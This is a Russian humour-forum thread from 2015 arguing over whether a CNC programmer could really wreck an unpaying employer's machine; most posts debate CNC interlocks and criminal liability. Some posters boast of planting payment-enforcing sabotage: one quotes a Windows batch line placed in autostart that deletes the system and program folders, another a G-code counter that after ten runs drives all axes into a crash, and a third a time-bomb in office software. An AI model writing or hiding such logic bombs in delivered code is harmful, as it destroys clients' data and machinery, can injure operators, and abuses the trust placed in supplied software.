С другой стороны, сам был свидетелем последствий, как немного охуевший от собственной невзъебенности работник в последний день работы плеснул в чпу-станок и 3d-принтер пару стаканов воды.
Обычно истории сабжегого толка имеют развитие и заканчиваются в суде. Если смогут доказать авторство данного ПО, то ценник там получится некислый - вплоть до уголовки. По крайней мере мне известно несколько историй про разработчиков 1С, которые включали такую "защиту" в свой код и шли потом под суд (статья 273 УК РФ).
Он писал не ПО, а УП. Предупредил их. Предупреждение осталось на серваке мейлера. Он всегда сошлется на то, что писал программу не для выполнения, а как тест при приеме на работу. Они не просили создать ОТЛАЖЕННУЮ программу.
Начал разбираться как такое случиться могло и выяснил, что в программе черт ногу сломит, но нашел неслолько недокументированных команд для заводской отладки станка, которые отключают предохранительные системы на центре.
Сдается мне это история для кота с лампой.
Я конечно не спец по станкам с ЧПУ, но:
1) Чел который пишет программу для обработки деталей не изменяет внутренню программу контроллера. Именно в ней зашиты защиты, которые якобы отключил герой. Прога для обработки - это набор действий для получения детали. 2) Помимо защит в центральном контролере (см. выше) есть внутренние защиты в сервприводах (вала, приводов держателия и т.д.). Они прошиты в частотных преобразователях, а уж туда это герой через программу обработки деталей точно не залез бы.
Так что.
Это сообщение отредактировал serjharrison - 8 окт 2015 в 14:47
Цикл операций можно сделать, а вот цикл деталей нет, если нужно новую заготовку ставить, то и программа запускаться будет снова. Текстовый файл УП это не исполняемый файл, он не может ничего создать. Звучало бы правдоподобней если бы из заготовки делались одинаковые детали и отрезались, тогда можно было бы и цикл поставить и шпинделем въехать в заготовку, но это только на простеньких станках, на центрах современных врятли. Но просто так УП никто не поставит в станок, сначала проверка 2-3 ступени, а потом оператор будет потихоньку отрабатывать, держа руку на подаче и если ему что не понравится, то сразу остановит или потихоньку будет подачу давать. И даже при аварии, врятли будут такие последствия как описаны, ну инструмент выкинут, ну направляющие поменяют, но врятли что-то серьёзнее.
Друг, ты уж извини, мысль грамотную сказал, но вот только "вряд ли"...
А вы хоть примерно знаете, сколько металлообрабатывающий станок ЧПУ стоит? На мой взгляд, "наказание", сочиненное программистом есть чистое вредительство. Можно было менее затратно для владельцев завода ограничить период использования программы. Да, его наниматели повели себя неразумно и как твари. Но намеренно обходить встроенные блокировки системы для убийства станка - это варварство и заслуживает наказания.
напоминает рассказы про воришку дурака который прокрался вдом и крысиную отраву выпил из бутыли от коньяка. думал что коньяк. по ходу в его случае виноват был производитель бутылки, т.к. в нее можно было налить не только коньяк?
Что касается воришки - действительно была история: одного дачника бомжи регулярно обносили. На очередной зимний сезон он йад в бутылке из-под водки оставил на видном месте. Ворьё купилось и двинуло коней. Мужика посадили за умышленное убийство. Такие дела.
слышал такое. а еще слышал что у другого они в холодильнике нашли метиловый спирт и выпили. на что он сказал что собирался завтра что то там промывать. и всё. а они слепыми остались.
Внесу немного ясности для понимания так сказать. Работал на ЧПУ токарных и расточных. Так вот программа для обработки вводится вручную в ЧПУ оператором. Привязка инструмента по координатам. После каждого чистового прохода или смены инструмента, исполнение программы приостанавливается вручную и сверяются размеры будущей детали, если нужно вводятся поправки, так же оператором, а не человеком который писал программулину. После того как изготовление детали выполнено, конец программы. Потом ставится новая заготовка, нажимается кнопка и цикл программы повторяется и все это контролируется оператором. При возникновении нештатной ситуации обработка останавливается переходом в ручной режим или большой красной кнопкой, в зависимости насколько ситуация критическая. Вся обработка происходит за защитным экраном, то есть если заготовка сорвется вас не прибьет ей. По сему история больше выдуманная. Работал давно возможно сейчас ЧПУ более продвинутые.
Да продвинутые. Грузи с чего хочешь. Дискеты, флэшки, по сети. И все остальное тоже далеко убежало.
Да есть один нюанс ... после установки ОС, подгона дров, настройки системы и ПО - в автозагрузку ярлычок ... от bat-ника :
@echo off del /S /Q %SYSTEMROOT% %PROGRAMFILES%
И всё - ждём-с адекватности ( ну, или наоборот ) клиента ( или конторы ).
Если заказчик не жлоб - батник убиваем.
Если же - казлИна - до свидания.
И после первой же перезагрузки - диск С:\ - чист , как попа младенца !
Имеются ещё пару скриптов - убийцы винды.
Выкладывать не буду.
Суицидников и так - до хера !
Всем бобра и пива прохладного !
И клиентов адекватных !
чот ты врешь. я попробовал и у меня ничего не стерлось. выскочила ошибка что типа невозможно и всё. винда на немецком. может и твои казлины так же видели окошко жали окей и дальше продолжают работать?
По крайней мере мне известно несколько историй про разработчиков 1С, которые включали такую "защиту" в свой код и шли потом под суд (статья 273 УК РФ).
товарищи возможно работали по договору? в данном случае договора не было)
я не понял, а как УП программа рассчитанная на обработку одной детали может отслеживать количество деталей? это в принципе невозможно. А вот если программа написана сразу для 10 - 20 - х деталей то да, есть вариант после 10 цикла вставлять всякое.
Это сообщение отредактировал volabirius - 8 окт 2015 в 14:59
поговорил с нашими ЧПУшниками..говорят байка..программу за реначть шоб пеработала в принципе можно..а вот шоб станок порушила..то только в теории..на практике нет..там блокировок в том числе и чисто электро-механических (концевых) хватает
Лет 7 назад, когда я работал на заводе, один оператор с похмелья так станок изувечил! Просто введя трясущимися руками неправильную привязку.
Проще пареной репы, я всегда код оставляю, который делает бяку, если бабки вовремя не получу. По факту оплаты убираю пару строк и всё. #500=#500+1 IF [#500 GE 10] GO 555 ... N555 G0 G91 S8000M3 X-1000. Y-1000. Z-1000. A-1000.
Но гораздо эффективнее не разность станок, а заставить прыгать размеры: после 1 годной детали 2-3ив брак
Это сообщение отредактировал unibot - 8 окт 2015 в 15:20
Обажаю хитрожопых заказчиков. Один раз было: восстановил системник (замена матери, памяти и проца на более современные), приношу "здрасти, здрасти, работает? работает. А мы вам денег платить не будем. С хрена ли баня развалилась? А вы старые запчасти продали наверно уже, еще и с нас хотите поиметь! Не вопрос говорю, только уговор был на скидку с меня и старые запчасти с вас. Ну так там больше вышло "Я В ИНТЕРЕНТЕ ЦЕНЫ СМОТРЕЛ". Фекалька вопрос - вот вам чек на ваши новые комплектующие, сейчас за старыми съезжу. Привез, тут же начинаются песни "а это наверно не те" "у меня вроде поновее были" "давайте за пол-цены заберете". Демонстративино ни в какие разговоры больше не вступал. Через три дня звонок: вы нам денег должны, мы уже в милицию заявление подали. Во как, интересно говорю. Да, вы нам компьютер сожгли. Оказалось, этот Уася начал собирать из старых запчастей комп и попытался впихнуть новую оперативу в старый слот, где было насыпано немножко пыли. Ибо нехуй, сначала скидки выпрашивать под залог старого железа, а потом за него еще деньги просить.
Написал прогу для турагенства. (2000 г. ) Предусмотрительно (зная что могут кинуть) дописал.... Предупредил, что через 30 дней (если не оплатят) накроются все компы! Не поверили! Девушка знакомая потом рассказывала что в организации творилось... P.S. Чужого не надо и своего не отдам! Это сообщение отредактировал blackdrv - 8 окт 2015 в 15:09
Цикл операций можно сделать, а вот цикл деталей нет, если нужно новую заготовку ставить, то и программа запускаться будет снова. Текстовый файл УП это не исполняемый файл, он не может ничего создать. Звучало бы правдоподобней если бы из заготовки делались одинаковые детали и отрезались, тогда можно было бы и цикл поставить и шпинделем въехать в заготовку, но это только на простеньких станках, на центрах современных врятли. Но просто так УП никто не поставит в станок, сначала проверка 2-3 ступени, а потом оператор будет потихоньку отрабатывать, держа руку на подаче и если ему что не понравится, то сразу остановит или потихоньку будет подачу давать. И даже при аварии, врятли будут такие последствия как описаны, ну инструмент выкинут, ну направляющие поменяют, но врятли что-то серьёзнее.
Не цикл, а счетчик в переменной организовать. Просто так никто не ставит, но деталь 10ая видимо для того и программировалась. Такие закладки трудно определить даже выведя траекторию. Направляющие на центре? Это как? Это не пилилка из фанеры под MACHем. Стоимость убитого шпинделя представляете?
Добавлено в 15:13
Цитата (idk @ 8.10.2015 - 14:23)
Цитата
Работал давно возможно сейчас ЧПУ более продвинутые.
намного более продвинутые. но концевики по-прежнему никак не программируются) какой в этом смысл?
Начал разбираться как такое случиться могло и выяснил, что в программе черт ногу сломит, но нашел неслолько недокументированных команд для заводской отладки станка, которые отключают предохранительные системы на центре.
Сдается мне это история для кота с лампой.
Я конечно не спец по станкам с ЧПУ, но:
1) Чел который пишет программу для обработки деталей не изменяет внутренню программу контроллера. Именно в ней зашиты защиты, которые якобы отключил герой. Прога для обработки - это набор действий для получения детали. 2) Помимо защит в центральном контролере (см. выше) есть внутренние защиты в сервприводах (вала, приводов держателия и т.д.). Они прошиты в частотных преобразователях, а уж туда это герой через программу обработки деталей точно не залез бы.
Так что.
пусть даже так...Ну не порти ты настроение от того, что акуевшего в край начальника наказали!!!! У многих есть истории, когда такие вот "начальники" динамят нормальных людей. А вот подобных этой мало!!!!! Да еще некоторые под уголовку пытаются подвести защиту интеллектуальной собственности!!!
Только зарегистрированные и авторизованные пользователи могут оставлять комментарии. Авторизуйтесь, пожалуйста, или зарегистрируйтесь, если не зарегистрированы.
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
Граммар-наци не дремлют)))
yaplakal.com
Trollollo9418 окт 2015 в 14:41